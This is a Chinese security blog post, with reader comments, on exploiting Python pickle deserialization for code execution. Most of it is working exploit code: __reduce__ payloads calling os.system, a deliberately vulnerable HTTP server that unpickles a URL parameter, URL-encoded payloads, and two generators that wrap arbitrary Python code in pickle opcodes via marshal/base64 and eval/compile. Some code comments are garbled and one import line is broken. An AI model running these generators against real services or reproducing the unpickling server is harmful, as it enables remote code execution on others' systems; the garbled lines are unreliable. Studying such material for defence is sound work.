Python Pickle的任意代码执行漏洞实践和Payload构造

勾陈安全 / 2017-03-27 08:41:38 / 浏览数 5350 安全技术 漏洞分析 顶(0) 踩(0)

Author：bit4@勾陈安全实验室

0x01 Pickle的典型应用场景

一般在什么场景下需要用到Pickle？

通常在解析认证token，session的时候。（如果你知道更多，欢迎留言补充，感谢！）现在很多web都使用redis、mongodb、memcached等来存储session等状态信息

可能将对象Pickle后存储成磁盘文件。

可能将对象Pickle后在网络中传输。

可能参数传递给程序，比如sqlmap的代码执行漏洞

```
python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="
```

0x02 如何构造Payload

1.执行系统命令的Payload

首先构造一个简单的包含漏洞的代码。

后续的验证过程中，将生成的Payload放到poc.pickle文件中，使用该代码来读取PoC验证效果（我将其保存为dopickle.py）。

```
__author__ = 'bit4'
import pickle

pickle.load(open('./poc.pickle'))
```

值得注意的是，pickle有load和loads2个方法，load需要的参数是文件句柄，loads所需要的参数是字符串。

pickle允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。

使用os.system执行命令的payload

```
#!/usr/bin/env python
#coding: utf-8
__author__ = 'bit4'

import cPickle
import os

class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt"""  #■■■■■■
return os.system, (s,)        #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc
```

输出内容，也就是Payload：

```
cnt
system
p1
(S'echo test >poc.txt'
p2
tRp3
.
```

我们将如上生成的pyload放到poc.pickle文件中，然后执行验证代码dopickle.py，成功执行了"echo test >poc.txt"。

现在问题来了，如何在实际的web环境中使用这些payload呢？

我们先实现一个简单的httpserver（dopicklehttpserver.py）：

```
#coding:utf-8
__author__ = 'bit4'
import BaseHTTPServer
import urllib
import cPickle

class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):

def do_GET(self):
if "?payload" in self.path:
query= urllib.splitquery(self.path)
action = query[1].split('=')[1]  #■■■■■■■■■■■■■■payload■■■■■■■■■■■■■■■■■■pickle■■“insecure string pickle”■■■
#action = query[1].replace("payload="","") #■■■■■■■■■=■■■■■■■■■■■■■■■■■■■■■■■■~
print action
try:
x = cPickle.loads(action) #string argv
content = x
except Exception,e:
print e
content = e

else:
content = "hello World"

self.send_response(200)
self.send_header("Content-type","text/html")
self.end_headers()
self.wfile.write("<html>")
self.wfile.write(" %s " % content)
self.wfile.write("</html>")

if __name__ == '__main__':

srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)
print 'started  httpserver...'
srvr.serve_forever()
```

运行以上代码后，通过如下URL访问web，传递Payload给服务器。

```
127.0.0.1:8000/?payload=xxxx
```

怎么将Payload放到参数中呢，一个直接的想法是使用\n来换行、使用url编码，Payload如下:

```
■■\n■■

cnt\nsystem\np1\n(S'echo test >poc.txt'\np2\ntRp3\n.

■■URl■■■■■■■%0A■

cnt%0Asystem%0Ap1%0A(S'echo test >poc.txt'%0Ap2%0AtRp3%0A.

■■URl■■■■■■■%0d%0a■

cnt%0d%0asystem%0d%0ap1%0d%0a(S%27echo+test+%3epoc.txt%27%0d%0ap2%0d%0atRp3%0d%0a
```

经过测试，第二种，使用%0A做换行符的是有效的payload，得到了成功执行。（但其实想想也该是它，作为url中的参数，当然该使用url编码啊）

```
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20>poc.txt%27%0Ap2%0AtRp3%0A.
```

在PHP中还有有一种比较常见的思路，通过base64编码后传递，如下这种，那我们可以在python中借鉴。这部分内容包含在了“执行任意python代码的payload”小节中。

```
http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php
```

2.执行任意python代码执行payload

我们的目标是实现任意代码执行，所以我们要序列化的对象成了code类型，但是pickle是不能序列化code对象的。

但幸运的是，从python2.6起，包含了一个可以序列化code对象的模块--Marshal。由于python可以在函数当中再导入模块和定义函数，所以我们可以将自己要执行的代码
所以有了如下代码：

```
__author__ = 'bit4'
import marshalimport base64

def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')

print base64.b64encode(marshal.dumps(foo.func_code))
#print cPickle.dumps(foo.func_code) #TypeError: can't pickle code objects
```

想要这段输出的base64的内容得到执行，我们需要如下代码：

```
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
```

写得更容易阅读点：

```
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
```

把这段代码转换成pickle后的格式，需要了解pickle的数据格式和指令。详细的转换过程可以参考：https://www.cs.uic.edu/~s/musings/pickle/

1. c：读取新的一行作为模块名module，读取下一行作为对象名object，然后将module.object压入到堆栈中。
2. (：将一个标记对象插入到堆栈中。为了实现我们的目的，该指令会与t搭配使用，以产生一个元组。
3. t：从堆栈中弹出对象，直到一个“(”被弹出，并创建一个包含弹出对象（除了“(”）的元组对象，并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后，该元组被
4. S：读取引号中的字符串直到换行符处，然后将它压入堆栈。
5. R：将一个元组和一个可调用对象弹出堆栈，然后以该元组作为参数调用该可调用的对象，最后将结果压入到堆栈中。
6. .：结束pickle。

最终的可以执行任意代码的payload生成器（第一种）,foo()函数中的部分是你应该自己编写替换的代码：

```
def foo():#you should write your code in this function
import os
def fib(n):
if n <= 1:
return n
return fib(n-1) + fib(n-2)
print 'fib(10) =', fib(10)
os.system('echo anycode >>poc.txt')

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
```

将以上代码生成的payload分别用于dopickle.py和dopicklehttpserver.py中进行测试。均成功执行命令。

注意：这里有一个坑，如上的dopicklehttpserver.py写法中，如果生成的payload中有等号（base64经常有等号），将导致参数获取不正确，而pickle.loads()的时候，
pickle将报“insecure string pickle”错误。

如何正确从请求中获取参数，请知道的大侠留言告诉我。

除此之外还有另外一种思路：https://gist.github.com/freddyb/3360650

使用eval函数，但是它的一个限制是只接受表达式，不能包含函数和类的声明。（使用pickle序列化后的代码对象就达到了要求？？？）

执行任意代码的payload生成器（第二种）：

```
try:
import cPickle as pickle
except ImportError:
import pickle
from sys import argv

def picklecompiler(sourcefile):
sourcecode = file(sourcefile).read()
return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)

def usage():
print '''usage: python %s filename''' % argv[0]

if __name__ == "__main__":
if len(argv) == 2:
print picklecompiler(argv[1])
else:
usage()
```

对以上代码生成的payload进行了测试，也只是成功执行了未包含函数和类的python代码，包含函数和类的则为执行成功。

3.终极payload生成器

参考：

http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

老外写的一个payload生成工具，地址为https://github.com/sensepost/anapickle
该工具中包含了大量的成熟payload，有了以上知识，不难理解其中的代码，也可以自己进行修改了。

0x03 参考

- http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
- https://blog.nelhage.com/2011/03/exploiting-pickle/
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
- https://www.cs.uic.edu/~s/musings/pickle/
- https://github.com/sensepost/anapickle
- https://lincolnloop.com/blog/playing-pickle-security/
- https://www.kevinlondon.com/2015/08/15/dangerous-python-functions-pt2.html
- https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html
- https://www.cigital.com/blog/python-pickling/
- https://github.com/sensepost/anapickle
- https://gist.github.com/freddyb/3360650
- http://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/

上一篇：干货！top白帽子Gr36手把手教... 下一篇：MS14-068域权限提升漏洞总结

1. 2 条回复


helloworld 2017-03-27 14:06:04

学习

0 回复Ta


狐狗 2018-08-14 17:58:51

学习了

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板